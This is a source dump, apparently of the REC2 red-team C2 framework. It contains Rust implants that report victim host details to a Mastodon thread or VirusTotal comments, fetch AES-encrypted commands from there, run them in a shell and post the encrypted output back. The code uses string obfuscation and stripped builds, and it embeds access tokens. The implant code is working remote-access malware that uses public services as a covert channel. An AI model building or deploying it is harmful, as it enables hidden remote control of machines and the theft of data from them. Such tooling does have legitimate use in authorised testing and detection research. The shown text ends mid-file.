x86_64-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml 268 | 269 | # implants/virustotal/Cargo.toml 270 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml 271 | 272 | # Server 273 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path server/Cargo.toml 274 | ``` 275 | 276 | The result can be found in the **implants/(mastodon,virustotal)/target/x86_64-pc-windows-gnu/release** or in the **server/target/x86_64-pc-windows-gnu/release** folder. 277 | 278 | ## Manually for macOS static version from Linux 279 | 280 | Amazing documentation: [https://wapl.es/rust/2019/02/17/rust-cross-compile-linux-to-macos.html](https://wapl.es/rust/2019/02/17/rust-cross-compile-linux-to-macos.html) 281 | 282 | ```bash 283 | # Install rustup and Cargo in Linux 284 | curl https://sh.rustup.rs -sSf | sh 285 | 286 | # Add macOS tool chain 287 | sudo git clone https://github.com/tpoechtrager/osxcross /usr/local/bin/osxcross 288 | sudo wget -P /usr/local/bin/osxcross/ -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && sudo mv /usr/local/bin/osxcross/MacOSX10.10.sdk.tar.xz /usr/local/bin/osxcross/tarballs/ 289 | sudo UNATTENDED=yes OSX_VERSION_MIN=10.7 /usr/local/bin/osxcross/build.sh 290 | sudo chmod 775 /usr/local/bin/osxcross/ -R 291 | export PATH="/usr/local/bin/osxcross/target/bin:$PATH" 292 | 293 | # Cargo needs to be told to use the correct linker for the x86_64-apple-darwin target, so add the following to your project’s .cargo/config file: 294 | grep 'target.x86_64-apple-darwin' ~/.cargo/config || echo "[target.x86_64-apple-darwin]" >> ~/.cargo/config 295 | grep 'linker = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'linker = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config 296 | grep 'ar = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'ar = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config 297 | 298 | # Static compilation for macOS 299 | git clone https://github.com/g0h4n/REC2 300 | cd REC2 301 | 302 | # Implants 303 | # choise your implant Mastodon or VirusTotal 304 | 305 | # implants/mastodon/Cargo.toml 306 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/mastodon/Cargo.toml 307 | 308 | # implants/virustotal/Cargo.toml 309 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/virustotal/Cargo.toml 310 | 311 | # Server 312 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path server/Cargo.toml 313 | ``` 314 | 315 | The result can be found in the implants/(mastodon,virustotal)/target/x86_64-apple-darwin/release folder. 316 | 317 | ## How to build the documentation? 318 | 319 | ```bash 320 | git clone https://github.com/g0h4n/REC2 321 | cd REC2 322 | 323 | # Implants 324 | # choise your implant Mastodon or VirusTotal 325 | 326 | # implants/mastodon/Cargo.toml 327 | cargo doc --open --no-deps --manifest-path implants/mastodon/Cargo.toml 328 | 329 | # implants/virustotal/Cargo.toml 330 | cargo doc --open --no-deps --manifest-path implants/virustotal/Cargo.toml 331 | 332 | # Server 333 | cargo doc --open --no-deps --manifest-path server/Cargo.toml 334 | ``` 335 |
336 | 337 | # :vertical_traffic_light: Roadmap 338 | 339 | - CRYPTO 340 | - [x] AES 341 | - IMPLANTS 342 | - [x] IMPLANTS 343 | - SERVER 344 | - [x] SESSION 345 | - [x] JOBS 346 | - [ ] Asynchrone jobs status check function 347 | - [ ] Asynchrone sessions status check function 348 | - [x] Select current sessions with `sessions -i 1` to attach session number 1 [09/28/2023] 349 | - [x] Add `background` command [09/28/2023] 350 | - SOCIAL NETWORK 351 | - [x] MASTODON: [https://docs.rs/megalodon/latest/megalodon/](https://docs.rs/megalodon/latest/megalodon/) 352 | - [x] VIRUSTOTAL: [https://docs.rs/virustotal3/latest/virustotal3/](https://docs.rs/virustotal3/latest/virustotal3/) 353 | - [ ] SOUNDCLOUD: [https://docs.rs/soundcloud/latest/soundcloud/](https://docs.rs/soundcloud/latest/soundcloud/) 354 | - [ ] Some ideas? 355 | 356 | # :link: Links 357 | 358 | - [https://github.com/D1rkMtr/VirusTotalC2](https://github.com/D1rkMtr/VirusTotalC2) 359 | -------------------------------------------------------------------------------- /VIRUSTOTAL.md: -------------------------------------------------------------------------------- 1 | # VIRUSTOTAL 2 | 3 | [https://www.virustotal.com/](https://www.virustotal.com/) 4 | 5 | ⚠️ **[Public API constraints and restrictions](https://developers.virustotal.com/reference/public-vs-premium-api)**: 6 | 7 | > The Public API is limited to **500 requests per day** and a rate of **4 requests per minute**. 8 | 9 | > The Public API must not be used in commercial products or services. 10 | 11 | > The Public API must not be used in business workflows that do not contribute new files. 12 | 13 | > You are **not allowed to register multiple accounts** to overcome the aforementioned limitations. 14 | 15 | 16 | ⚠️ **Site constraints**: 17 | 18 | -------------------------------------------------------------------------------- /img/REC2_logo_v1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/REC2_logo_v1.png -------------------------------------------------------------------------------- /img/client.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/client.jpg -------------------------------------------------------------------------------- /img/schema_rec2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/schema_rec2.png -------------------------------------------------------------------------------- /img/server.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/server.jpg -------------------------------------------------------------------------------- /implants/mastodon/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | authors = ["g0h4n "] 3 | name = "rec2" 4 | description = "REC2 (Rusty External C2, Mastodon Implant)" 5 | keywords = ["implant", "pentest", "social", "client", "redteam"] 6 | repository = "https://github.com/g0h4n/REC2" 7 | homepage = "https://github.com/g0h4n/REC2" 8 | version = "0.0.1" 9 | edition = "2018" 10 | license = "MIT" 11 | readme = "README.md" 12 | 13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 14 | 15 | [dependencies] 16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] } 17 | clap = "4.0" 18 | log = "0.4" 19 | env_logger = "0.10" 20 | whoami = "1.3" 21 | 22 | # Crypto 23 | hex = "0.4" 24 | rand = "0.8.5" 25 | aes = "0.8.1" 26 | cbc = {version = "0.1.2", features = ["std"]} 27 | pbkdf2 = "0.11" 28 | regex = "1.6.0" 29 | litcrypt = "0.3" 30 | random-string = "1.0" 31 | md5 = "0.7" 32 | 33 | # Modules 34 | megalodon = { version = "0.6" } 35 | 36 | [profile.release] 37 | opt-level = "z" 38 | lto = true 39 | strip = true 40 | codegen-units = 1 41 | panic = "abort" -------------------------------------------------------------------------------- /implants/mastodon/src/args.rs: -------------------------------------------------------------------------------- 1 | //! Parsing arguments 2 | use clap::{Arg,ArgAction,Command}; 3 | 4 | #[derive(Debug)] 5 | pub struct Options { 6 | pub verbose: log::LevelFilter, 7 | } 8 | 9 | fn cli() -> Command { 10 | Command::new("rec2") 11 | .about("REC2 implant for Mastodon") 12 | .arg(Arg::new("v") 13 | .short('v') 14 | .help("Set the level of verbosity") 15 | .action(ArgAction::Count), 16 | ) 17 | } 18 | 19 | /// Function to extract arguments 20 | pub fn extract_args() -> Options { 21 | let matches = cli().get_matches(); 22 | let v = match matches.get_count("v") { 23 | 0 => log::LevelFilter::Info, 24 | 1 => log::LevelFilter::Debug, 25 | _ => log::LevelFilter::Trace, 26 | }; 27 | Options { 28 | verbose: v, 29 | } 30 | } -------------------------------------------------------------------------------- /implants/mastodon/src/lib.rs: -------------------------------------------------------------------------------- 1 | //! 2 | //! REC2 (Rusty External C2 Mastodon Client) 3 | //! 4 | pub mod args; 5 | pub mod utils; 6 | pub mod modules; -------------------------------------------------------------------------------- /implants/mastodon/src/main.rs: -------------------------------------------------------------------------------- 1 | pub mod args; 2 | use args::extract_args; 3 | 4 | pub mod utils; 5 | use utils::*; 6 | 7 | pub mod modules; 8 | use modules::*; 9 | 10 | use env_logger::Builder; 11 | use log::{info,debug}; 12 | use regex::Regex; 13 | 14 | #[macro_use] 15 | extern crate litcrypt; 16 | use_litcrypt!(); 17 | 18 | #[tokio::main] 19 | async fn main() { 20 | // Build logger 21 | let common_args = extract_args(); 22 | Builder::new() 23 | .filter(Some("rec2"), common_args.verbose) 24 | .filter_level(log::LevelFilter::Error) 25 | .init(); 26 | 27 | // AES KEY its automaticaly change from Makefile 28 | let key = lc!("TMVB5XJWzuz4KsqUCnwxrtooQv8LmP6R4IX62HeQ7OZzhxgsahsxNzfo5dJNkntl").as_bytes().to_owned(); 29 | 30 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 31 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 32 | // TO CHANGE manually! 33 | // MASTODON TOKEN 34 | let token = lc!("fdYcCvUiBplODBs1BGWccVax16ko4M4nZgudH7mUX2xUTVj35o0jSm2Ka5LPOYyd").to_owned(); 35 | // MASTODON FULL URL 36 | let full_url = lc!("https://mastodon.be/@username_fzihfzuhfuoz/109994357971853428").to_owned(); 37 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 38 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 39 | 40 | // Link command:result 41 | let mut list_commands: Vec = Vec::new(); 42 | 43 | // Target info 44 | let infos = get_target_info(); 45 | debug!("Target info: {}", infos); 46 | let session_hash = random_string(8); 47 | debug!("Session hash: {}", session_hash); 48 | 49 | // Parse url first 50 | let (url, _username, topic_id) = parse_mastodon_url(&full_url); 51 | // Post target info and session id 52 | // SESS:{hash}:ABCDEF for new session 53 | let encoded = hex::encode(&aes_encrypt(&infos.as_bytes(),&key)[..]); 54 | mastodon_post_topic_comment( 55 | &url, 56 | token.to_owned(), 57 | Some(topic_id.to_owned()), 58 | encoded, 59 | format!("SESS:{}:ABCDEF:",&session_hash), 60 | ).await; 61 | 62 | // MASTODON IMPLANT 63 | loop { 64 | // GET TOPIC comments on Matodon only for this SESSION hash 65 | // QUES:{hash}:{} 66 | let (result_spoiler,result_content,in_reply_to_id) = mastodon_get_topic_comments( 67 | &url, 68 | token.to_owned(), 69 | topic_id.to_owned(), 70 | format!("QUES:{}",&session_hash).to_string(), 71 | ).await; 72 | 73 | // Check if new comment was posted 74 | for i in 0..result_content.len() { 75 | let (_msg_type, session_hash, job_hash) = parse_spoiler(&result_spoiler[i]); 76 | 77 | if !list_commands.contains(&job_hash) { 78 | info!("main():Mastodon: New command to run {:?}",&result_content[i]); 79 | // History 80 | list_commands.push(job_hash.to_owned()); 81 | // Trying to decode hexa to get command line 82 | let u8command = aes_decrypt(&hex::decode(&result_content[i].to_owned().to_string()).unwrap()[..], &key); 83 | // Trying to run command line 84 | let output = run_and_crypt(display_vecu8(&u8command), key.to_owned()); 85 | info!("main():Mastodon: Output for new command {:?}", &output); 86 | // Text limite de 500 caractères 87 | if output.len() <= 500 { 88 | // POST result on Mastodon 89 | mastodon_post_topic_comment( 90 | &url, 91 | token.to_owned(), 92 | in_reply_to_id.to_owned(), 93 | output, 94 | format!("RESP:{}:{}:",&session_hash,&job_hash), 95 | ).await; 96 | } 97 | else { 98 | let re = Regex::new(r"[a-z0-9]{1,475}").unwrap(); 99 | let caps = re.captures_iter(&output); 100 | let mut count = 1; 101 | for value in caps { 102 | // POST result on Mastodon 103 | debug!("Part {}",&count); 104 | mastodon_post_topic_comment( 105 | &url, 106 | token.to_owned(), 107 | in_reply_to_id.to_owned(), 108 | value[0].to_string(), 109 | format!("PART:{}:{}:{}",&session_hash,&job_hash,count), 110 | ).await; 111 | count +=1; 112 | } 113 | } 114 | } 115 | } 116 | sleep(31); 117 | } 118 | } -------------------------------------------------------------------------------- /implants/mastodon/src/modules/common.rs: -------------------------------------------------------------------------------- 1 | use regex::Regex; 2 | use log::debug; 3 | 4 | /// Function to parse header 5 | pub fn parse_spoiler(spoiler: &String) -> (String, String, String) { 6 | let re = Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap(); 7 | let caps = re.captures(&spoiler).unwrap(); 8 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string(); 9 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:",&msg_type)); 10 | 11 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap(); 12 | let caps = re.captures(&spoiler).unwrap(); 13 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 14 | debug!("{}",format!("{:<15}: {}","SESSION_HASH",&session_hash)); 15 | 16 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap(); 17 | let caps = re.captures(&spoiler).unwrap(); 18 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 19 | debug!("{}",format!("{:<15}: {}","JOB_HASH",&job_hash)); 20 | 21 | return (msg_type, session_hash, job_hash) 22 | } -------------------------------------------------------------------------------- /implants/mastodon/src/modules/mod.rs: -------------------------------------------------------------------------------- 1 | //! Social network for REC2 client 2 | #[doc(inline)] 3 | pub use common::*; 4 | #[doc(inline)] 5 | pub use rec2mastodon::*; 6 | 7 | pub mod common; 8 | pub mod rec2mastodon; -------------------------------------------------------------------------------- /implants/mastodon/src/modules/rec2mastodon.rs: -------------------------------------------------------------------------------- 1 | use megalodon::{ 2 | generator, 3 | SNS, 4 | megalodon::GetStatusContextInputOptions, 5 | megalodon::PostStatusInputOptions, 6 | entities::status::StatusVisibility, 7 | }; 8 | use regex::Regex; 9 | use log::{debug,trace}; 10 | 11 | // 1- Function to parse URL to get url,username,topic_id 12 | // 2- Function to get topic comments 13 | // 3- Function to post comment in topic_id 14 | 15 | /// Function to parse Mastodon url 16 | pub fn parse_mastodon_url(full_url: &String) -> (String,String,String) { 17 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap(); 18 | let caps = re.captures(&full_url).unwrap(); 19 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string(); 20 | debug!("{}",format!("{}: {}","URL",&url)); 21 | 22 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/@([a-zA-Z0-9_]{10,})/").unwrap(); 23 | let caps = re.captures(&full_url).unwrap(); 24 | let username = caps.get(1).map_or("", |m| m.as_str()).to_string(); 25 | debug!("{}",format!("{}: {}","USERNAME",&username)); 26 | 27 | let re = Regex::new(r"([0-9]{10,})").unwrap(); 28 | let caps = re.captures(&full_url).unwrap(); 29 | let topic = caps.get(1).map_or("", |m| m.as_str()).to_string(); 30 | debug!("{}",format!("{}: {}","TOPIC_ID",&topic)); 31 | 32 | return (url,username,topic) 33 | } 34 | 35 | /// GET comment in one topic ID 36 | /// 37 | pub async fn mastodon_get_topic_comments( 38 | url: &String, 39 | access_token: String, 40 | topic_id: String, 41 | filter: String, 42 | ) -> (Vec,Vec,Option) { 43 | let client = generator( 44 | SNS::Mastodon, 45 | url.to_string(), 46 | Some(access_token), 47 | None); 48 | let status = client.get_status_context( 49 | topic_id, 50 | Some(&GetStatusContextInputOptions { 51 | limit: Some(9999), 52 | max_id: Some("".to_string()), 53 | since_id: Some("".to_string()), 54 | } 55 | )).await.unwrap(); 56 | let status = status.json().descendants; 57 | //debug!("{:?}",&status); 58 | let mut in_reply_to_id = Some("null".to_string()); 59 | // Result 60 | let mut result_spoiler: Vec = Vec::new(); 61 | let mut result_content: Vec = Vec::new(); 62 | 63 | // Comment by comment 64 | for s in status { 65 | //info!("{:?}",s.content); 66 | // If spoiler_text empty command to run and not an answer 67 | if s.spoiler_text.contains(&filter) { 68 | // If is hexa so it's encoded datas 69 | let re = Regex::new(r"[0-9a-f]+").unwrap(); 70 | for hexa in re.captures_iter(&s.content) 71 | { 72 | trace!("Getting comment in topic: {:?}",hexa[0].to_owned().to_string()); 73 | in_reply_to_id = s.to_owned().in_reply_to_id; 74 | result_spoiler.push(s.spoiler_text.to_owned().to_string()); 75 | result_content.push(hexa[0].to_owned().to_string()); 76 | } 77 | } 78 | } 79 | return (result_spoiler,result_content,in_reply_to_id) 80 | } 81 | 82 | /// POST private answer 83 | /// 84 | /// 85 | pub async fn mastodon_post_topic_comment( 86 | url: &String, 87 | access_token: String, 88 | in_reply_to_id: Option, 89 | datas: String, 90 | sploiler_text: String, 91 | ) { 92 | let client = generator( 93 | SNS::Mastodon, 94 | url.to_string(), 95 | Some(access_token), 96 | None); 97 | let status = client.post_status( 98 | datas, 99 | Some(&PostStatusInputOptions { 100 | media_ids: Some(Vec::new()), 101 | in_reply_to_id: in_reply_to_id, 102 | sensitive: Some(true), 103 | visibility: Some(StatusVisibility::Private), 104 | language: Some("en".to_string()), 105 | spoiler_text: Some(sploiler_text), 106 | ..Default::default() 107 | }), 108 | ).await.unwrap(); 109 | let status = status.json(); 110 | debug!("Post answer ok"); 111 | trace!("Post answer {:?}",status); 112 | } -------------------------------------------------------------------------------- /implants/mastodon/src/utils/common.rs: -------------------------------------------------------------------------------- 1 | use std::{thread, time}; 2 | use random_string::generate; 3 | use log::{info,trace}; 4 | 5 | ///Display cmd output 6 | pub fn display_vecu8(output: &Vec) -> String { 7 | return String::from_utf8_lossy(output).to_string(); 8 | } 9 | 10 | /// Function sleep 11 | pub fn sleep(timer: u64) { 12 | info!("[?] Waiting {}s",&timer); 13 | thread::sleep(time::Duration::from_secs(timer)); 14 | } 15 | 16 | /// Function to generate random string 17 | pub fn random_string(len: usize) -> String { 18 | let charset = "1234567890abcdefghijklmnopqrstuvwxyz"; 19 | let r = generate(len, charset); 20 | trace!("Random ID: {}",&r); 21 | return r 22 | } -------------------------------------------------------------------------------- /implants/mastodon/src/utils/crypto.rs: -------------------------------------------------------------------------------- 1 | use log::error; 2 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; 3 | use pbkdf2::{ 4 | password_hash::{PasswordHash, PasswordHasher, SaltString}, 5 | Params, Pbkdf2, 6 | }; 7 | use rand::{distributions::Alphanumeric, Rng}; 8 | type Aes256CbcDec = cbc::Decryptor; 9 | type Aes256CbcEnc = cbc::Encryptor; 10 | 11 | /// Function to provide simple mechanism to encrypt some bytes with a key using AES-256-CBC 12 | /// Thanks to: 13 | pub fn aes_encrypt( 14 | plaintext: &[u8], 15 | key: &[u8] 16 | ) -> Vec { 17 | let s: String = rand::thread_rng() 18 | .sample_iter(&Alphanumeric) 19 | .take(8) 20 | .map(char::from) 21 | .collect(); 22 | let salt = SaltString::new(&s).unwrap(); 23 | let password_hash = hash_password(key, &salt).unwrap(); 24 | let password_hash = password_hash.hash.unwrap(); 25 | let (key, iv) = password_hash.as_bytes().split_at(32); 26 | let cipher = Aes256CbcEnc::new_from_slices(key, iv).unwrap(); 27 | let ciphertext = cipher.encrypt_padded_vec_mut::(plaintext); 28 | let message = ["Salted__".as_bytes(), salt.as_bytes(), &ciphertext].concat(); 29 | message 30 | } 31 | 32 | /// Function to provide simple mechanism to decrypt some bytes with a key using AES-256-CBC 33 | /// Thanks to: 34 | pub fn aes_decrypt( 35 | ciphertext: &[u8], 36 | key: &[u8] 37 | ) -> Vec { 38 | if !ciphertext.starts_with(b"Salted__") { 39 | error!("Message was not encrypted when encoded"); 40 | } 41 | if ciphertext.len() < 16 { 42 | error!("Ciphertext is too short"); 43 | } 44 | let (_, rest) = ciphertext.split_at(8); //ignore prefix 'Salted__' 45 | let (s, rest) = rest.split_at(8); 46 | let s = String::from_utf8(s.to_vec()).unwrap(); 47 | let salt = SaltString::new(&s).unwrap(); 48 | let password_hash = hash_password(key, &salt).unwrap(); 49 | let password_hash = password_hash.hash.unwrap(); 50 | let (key, iv) = password_hash.as_bytes().split_at(32); 51 | let cipher = Aes256CbcDec::new_from_slices(key, iv).unwrap(); 52 | let r = cipher.decrypt_padded_vec_mut::(rest); 53 | match r { 54 | Ok(plaintext) => { return plaintext } 55 | Err(err) => { 56 | error!("Inccorect key, can't decode AES! Reason: {err}"); 57 | return Vec::new() 58 | } 59 | } 60 | } 61 | 62 | /// Function to hash password and salt, 63 | /// to generate key for use with AES-256 encryption. 64 | /// 65 | /// Uses PBKDF2 with 10,000 rounds of SHA256 hashing to generate a 48-byte response. 66 | /// 48-byte response contains the 16-byte IV and 32-byte key. 67 | /// Thanks to: 68 | pub fn hash_password<'a>( 69 | key: &'a [u8], 70 | salt: &'a SaltString, 71 | ) -> Result, pbkdf2::password_hash::Error> { 72 | Pbkdf2.hash_password_customized( 73 | key, 74 | None, 75 | None, 76 | Params { 77 | rounds: 10_000, 78 | output_length: 48, 79 | }, 80 | salt, 81 | ) 82 | } -------------------------------------------------------------------------------- /implants/mastodon/src/utils/exec.rs: -------------------------------------------------------------------------------- 1 | use std::str; 2 | use std::process::{Command}; 3 | use log::{debug, trace, error}; 4 | 5 | use crate::utils::crypto::*; 6 | use crate::utils::common::*; 7 | 8 | /// Function to execute command and get output 9 | pub fn run_and_crypt(command: String, key: Vec) -> String { 10 | // EXEC PART 11 | debug!("run_and_crypt() [COMMAND INPUT]: {:?}",&command); 12 | let mut output = exec(&command); 13 | if output.len() == 0 { 14 | error!("Error during command execution!"); 15 | output = "Error during command execution!".as_bytes().to_vec(); 16 | } 17 | debug!("run_and_crypt() [COMMAND OUTPUT]: {:?}",display_vecu8(&output)); 18 | 19 | // AES PART 20 | let encoded = aes_encrypt(&output[..], &key); 21 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",display_vecu8(&encoded)); 22 | let hexa = hex::encode(&encoded); 23 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",&hexa); 24 | 25 | return hexa 26 | } 27 | 28 | /// Function to run commands 29 | fn exec(input: &str) -> Vec 30 | { 31 | let output = if cfg!(target_os = "windows") { 32 | Command::new("cmd") 33 | .args(["/c", input]) 34 | .output() 35 | .expect("failed") 36 | } else { 37 | Command::new("sh") 38 | .arg("-c") 39 | .arg(input) 40 | .output() 41 | .expect("failed") 42 | }; 43 | return output.stdout 44 | } -------------------------------------------------------------------------------- /implants/mastodon/src/utils/mod.rs: -------------------------------------------------------------------------------- 1 | //! Utils for REC2 client 2 | #[doc(inline)] 3 | pub use common::*; 4 | #[doc(inline)] 5 | pub use crypto::*; 6 | #[doc(inline)] 7 | pub use exec::*; 8 | #[doc(inline)] 9 | pub use target::*; 10 | 11 | pub mod crypto; 12 | pub mod exec; 13 | pub mod common; 14 | pub mod target; -------------------------------------------------------------------------------- /implants/mastodon/src/utils/target.rs: -------------------------------------------------------------------------------- 1 | use log::trace; 2 | 3 | /// Function to get target information 4 | /// 5 | pub fn get_target_info() -> String { 6 | trace!("Username: {}",whoami::username()); 7 | trace!("Hostname: {}",whoami::hostname()); 8 | trace!("OS: {}", whoami::distro()); 9 | format!("{}:-:{}:-:{}",whoami::hostname(),whoami::username(),whoami::distro()) 10 | } 11 | 12 | /// Function to get first 8 chars from uniq md5 target hostname 13 | pub fn get_target_hash() -> String { 14 | let s = format!("{}:{}:{}",whoami::hostname(),whoami::username(),whoami::distro()); 15 | let digest = md5::compute(s.as_bytes()); 16 | let hash = format!("{:x}",digest); 17 | trace!("Uniq hash for this target: {}", hash); 18 | return hash[0..8].to_owned() 19 | } -------------------------------------------------------------------------------- /implants/virustotal/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | authors = ["g0h4n "] 3 | name = "rec2" 4 | description = "REC2 (Rusty External C2, VirusTotal Implant)" 5 | keywords = ["implant", "pentest", "social", "client", "redteam"] 6 | repository = "https://github.com/g0h4n/REC2" 7 | homepage = "https://github.com/g0h4n/REC2" 8 | version = "0.1.0" 9 | edition = "2018" 10 | license = "MIT" 11 | readme = "README.md" 12 | 13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 14 | 15 | [dependencies] 16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] } 17 | clap = "4.0" 18 | log = "0.4" 19 | env_logger = "0.10" 20 | whoami = "1.3" 21 | 22 | # Crypto 23 | hex = "0.4" 24 | rand = "0.8.5" 25 | aes = "0.8.1" 26 | cbc = {version = "0.1.2", features = ["std"]} 27 | pbkdf2 = "0.11" 28 | regex = "1.6.0" 29 | litcrypt = "0.3" 30 | random-string = "1.0" 31 | md5 = "0.7" 32 | 33 | # Modules 34 | virustotal3 = { version = "3.0.2" } 35 | 36 | [profile.release] 37 | opt-level = "z" 38 | lto = true 39 | strip = true 40 | codegen-units = 1 41 | panic = "abort" -------------------------------------------------------------------------------- /implants/virustotal/src/args.rs: -------------------------------------------------------------------------------- 1 | //! Parsing arguments 2 | use clap::{Arg,ArgAction,Command}; 3 | 4 | #[derive(Debug)] 5 | pub struct Options { 6 | pub verbose: log::LevelFilter, 7 | } 8 | 9 | fn cli() -> Command { 10 | Command::new("rec2") 11 | .about("REC2 implant for VirusTotal") 12 | .arg(Arg::new("v") 13 | .short('v') 14 | .help("Set the level of verbosity") 15 | .action(ArgAction::Count), 16 | ) 17 | } 18 | 19 | /// Function to extract arguments 20 | pub fn extract_args() -> Options { 21 | let matches = cli().get_matches(); 22 | let v = match matches.get_count("v") { 23 | 0 => log::LevelFilter::Info, 24 | 1 => log::LevelFilter::Debug, 25 | _ => log::LevelFilter::Trace, 26 | }; 27 | Options { 28 | verbose: v, 29 | } 30 | } -------------------------------------------------------------------------------- /implants/virustotal/src/lib.rs: -------------------------------------------------------------------------------- 1 | //! 2 | //! REC2 (Rusty External C2 VirusTotal Client) 3 | //! 4 | pub mod args; 5 | pub mod utils; 6 | pub mod modules; -------------------------------------------------------------------------------- /implants/virustotal/src/main.rs: -------------------------------------------------------------------------------- 1 | pub mod args; 2 | use args::extract_args; 3 | 4 | pub mod utils; 5 | use utils::*; 6 | 7 | pub mod modules; 8 | use modules::*; 9 | 10 | use env_logger::Builder; 11 | use log::{info,debug}; 12 | 13 | #[macro_use] 14 | extern crate litcrypt; 15 | use_litcrypt!(); 16 | 17 | #[tokio::main] 18 | async fn main() { 19 | // Build logger 20 | let common_args = extract_args(); 21 | Builder::new() 22 | .filter(Some("rec2"), common_args.verbose) 23 | .filter_level(log::LevelFilter::Error) 24 | .init(); 25 | 26 | // AES KEY its automaticaly change from Makefile 27 | let key = lc!("TMVB6XJWzuz4KsqUCnwxrtooQV9LmP6R4IX62HeQ7OZzhxgsahsxNzf05dJNkntl").as_bytes().to_owned(); 28 | 29 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 30 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 31 | // TO CHANGE manually! 32 | // VIRUSTOTAL TOKEN 33 | let token = lc!("a85683b009aaaaa81049acac952516db57aaaaabefab35cc737dc219c7b87ec5").to_owned(); 34 | // VIRUSTOTAL FULL URL 35 | let full_url = lc!("https://www.virustotal.com/gui/file/ef22bb40f9439587396c9dc9c2a8a938fa2485f22c533479c95264bda61704d4?nocache=1").to_owned(); 36 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 37 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 38 | 39 | // Link command:result 40 | let mut list_commands: Vec = Vec::new(); 41 | 42 | // Target info 43 | let infos = get_target_info(); 44 | debug!("Target info: {}", infos); 45 | let session_hash = random_string(8); 46 | debug!("Session hash: {}", session_hash); 47 | 48 | // Parse url first 49 | let (_url,vtype,resource_id) = parse_virustotal_url(&full_url); 50 | // Post target info and session id 51 | // SESS:{hash}:ABCDEF\nDATAS for new session 52 | let encoded = hex::encode(&aes_encrypt(&infos.as_bytes(),&key)[..]); 53 | let datas = format!("SESS:{}:ABCDEF:\n{}",&session_hash,encoded); 54 | virustotal_post_comment( 55 | &token, 56 | &resource_id, 57 | &vtype, 58 | &datas, 59 | ).await; 60 | 61 | // VIRUSTOTAL IMPLANT 62 | loop { 63 | // GET resource comments on VirusTotal only for this SESSION hash 64 | // QUES:{hash}:{} 65 | let (result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments( 66 | &token, 67 | &resource_id, 68 | &vtype, 69 | format!("QUES:{}",&session_hash).to_string(), 70 | ).await; 71 | // Check if new comment was posted 72 | for i in 0..result_content.len() { 73 | let (_msg_type, session_hash, job_hash) = parse_spoiler(&result_spoiler[i]); 74 | if !list_commands.contains(&job_hash) { 75 | info!("main():VirusTotal: New command to run {:?}",&result_content[i]); 76 | // History 77 | list_commands.push(job_hash.to_owned()); // Trying to decode hexa to get command line 78 | let u8command = aes_decrypt(&hex::decode(&result_content[i].to_owned().to_string()).unwrap()[..], &key); 79 | // Trying to run command line 80 | let output = run_and_crypt(display_vecu8(&u8command), key.to_owned()); 81 | info!("main():VirusTotal: Output for new command {:?}", &output); 82 | // POST result on VirusTotal 83 | let datas = format!("RESP:{}:{}:\n{}",&session_hash,&job_hash,&output); 84 | virustotal_post_comment( 85 | &token, 86 | &resource_id, 87 | &vtype, 88 | &datas, 89 | ).await; 90 | } 91 | } 92 | sleep(31); 93 | } 94 | } -------------------------------------------------------------------------------- /implants/virustotal/src/modules/common.rs: -------------------------------------------------------------------------------- 1 | use regex::Regex; 2 | use log::debug; 3 | 4 | /// Function to parse header 5 | pub fn parse_spoiler(spoiler: &String) -> (String, String, String) { 6 | let re = 